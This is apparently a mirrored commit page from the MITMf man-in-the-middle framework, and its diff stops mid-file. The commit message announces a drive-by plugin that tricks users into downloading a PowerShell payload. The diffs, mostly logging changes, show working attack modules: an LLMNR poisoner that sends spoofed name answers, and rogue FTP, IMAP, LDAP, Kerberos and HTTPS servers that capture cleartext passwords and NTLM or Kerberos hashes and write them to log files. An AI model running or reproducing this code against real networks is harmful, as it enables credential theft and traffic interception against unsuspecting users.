mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 05:23:28 -07:00
This is a vewwwy big commit
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
This commit is contained in:
parent
ff0ada2a39
commit
5e2f30fb89
64 changed files with 3748 additions and 1473 deletions
|
@ -1,4 +1,3 @@
|
|||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
|
@ -7,23 +6,25 @@ import string
|
|||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LANfingerprinter", formatter)
|
||||
|
||||
class LANFingerprinter():
|
||||
class LANfingerprinter():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LANFingerprinter] online")
|
||||
log.debug("online")
|
||||
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
|
||||
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever)
|
||||
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 138: {}:".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -70,8 +71,8 @@ def Decode_Name(nbname):
|
|||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
|
@ -201,8 +202,8 @@ def BecomeBackup(data, Client):
|
|||
Role = NBT_NS_Role(data[45:48])
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
log.warning(Message1)
|
||||
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -215,8 +216,8 @@ def BecomeBackup(data, Client):
|
|||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -229,7 +230,7 @@ def ParseDatagramNBTNames(data,Client):
|
|||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
|
@ -6,20 +6,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("FTPserver", formatter)
|
||||
|
||||
class FTPServer():
|
||||
class FTPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[FTPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
|
||||
t = threading.Thread(name="FTPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="FTPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
|
||||
log.error("Error starting on port {}: {}".format(21, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -45,7 +47,7 @@ class FTP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
|
||||
log.info('{} FTP User: {}'.format(self.client_address[0], User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -53,7 +55,7 @@ class FTP(BaseRequestHandler):
|
|||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -62,4 +64,4 @@ class FTP(BaseRequestHandler):
|
|||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,145 +0,0 @@
|
|||
##################################################################################
|
||||
#HTTPS Server stuff starts here (Not Used)
|
||||
##################################################################################
|
||||
|
||||
class HTTPSProxy():
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
server = SSlSock((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(SSL_On_Off):
|
||||
if SSL_On_Off == "ON":
|
||||
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SSL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class SSlSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
ctx.use_privatekey_file(SSLkey)
|
||||
ctx.use_certificate_file(SSLcert)
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
||||
|
||||
class DoSSL(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff:
|
||||
self.exchange.send(buff)
|
||||
else:
|
||||
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(buffer0)
|
||||
except:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPSHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
#print "[+]HTTPS NTLMv1 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", Hostname
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
if NthashLen > 24:
|
||||
#print "[+]HTTPS NTLMv2 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
#print "Domain is : ", Domain
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", User
|
||||
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", HostName
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
#Handle HTTPS packet sequence.
|
||||
def HTTPSPacketSequence(data,client):
|
||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPSHash(NTLM_Auth,client)
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
if b:
|
||||
GrabCookie(data,client)
|
||||
outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
|
||||
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
|
||||
##################################################################################
|
||||
#HTTPS Server stuff ends here (Not Used)
|
||||
##################################################################################
|
|
@ -4,20 +4,22 @@ import threading
|
|||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from IMAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("IMAPserver", formatter)
|
||||
|
||||
class IMAPServer():
|
||||
class IMAPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[IMAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
||||
t = threading.Thread(name="IMAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
|
||||
log.error("Error starting on port {}: {}".format(143, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -43,9 +45,9 @@ class IMAP(BaseRequestHandler):
|
|||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,34 +1,34 @@
|
|||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("KERBserver", formatter)
|
||||
|
||||
class KERBServer():
|
||||
class KERBserver():
|
||||
|
||||
def serve_thread_udp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting UDP server on port 88: {}:".format(e))
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting TCP server on port 88: {}:".format(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[KERBServer] online")
|
||||
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
@ -54,7 +54,7 @@ class KerbTCP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
|
@ -65,7 +65,7 @@ class KerbUDP(BaseRequestHandler):
|
|||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
|
@ -6,22 +6,24 @@ import re
|
|||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from LDAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LDAPserver", formatter)
|
||||
|
||||
class LDAPServer():
|
||||
class LDAPserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LDAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
|
||||
t = threading.Thread(name="LDAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
|
||||
log.error("Error starting on port {}: {}".format(389, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -60,11 +62,11 @@ def ParseLDAPHash(data,client):
|
|||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
|
||||
log.info('NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
|
||||
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
mitmf_logger.info(Message)
|
||||
log.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
|
@ -93,8 +95,8 @@ def ParseLDAPPacket(data,client):
|
|||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
|
||||
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
log.info('User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
|
@ -102,7 +104,7 @@ def ParseLDAPPacket(data,client):
|
|||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
mitmf_logger.info('[LDAPServer] Operation not supported')
|
||||
log.info('Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
|
@ -1,34 +1,34 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LLMNRpoisoner", formatter)
|
||||
|
||||
class LLMNRPoisoner:
|
||||
class LLMNRpoisoner:
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options #For now a quick way to make argparse's namespace object available to all
|
||||
global OURIP ; OURIP = ourip #and our ip address
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
||||
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
|
||||
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 5355: {}:".format(e))
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -82,7 +82,7 @@ class LLMNR(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
|
|||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
else:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
|
@ -118,13 +118,13 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
|
@ -132,13 +132,13 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
|
@ -147,26 +147,26 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -1,5 +1,3 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import threading
|
||||
import socket
|
||||
import struct
|
||||
|
@ -10,10 +8,12 @@ from core.configwatcher import ConfigWatcher
|
|||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
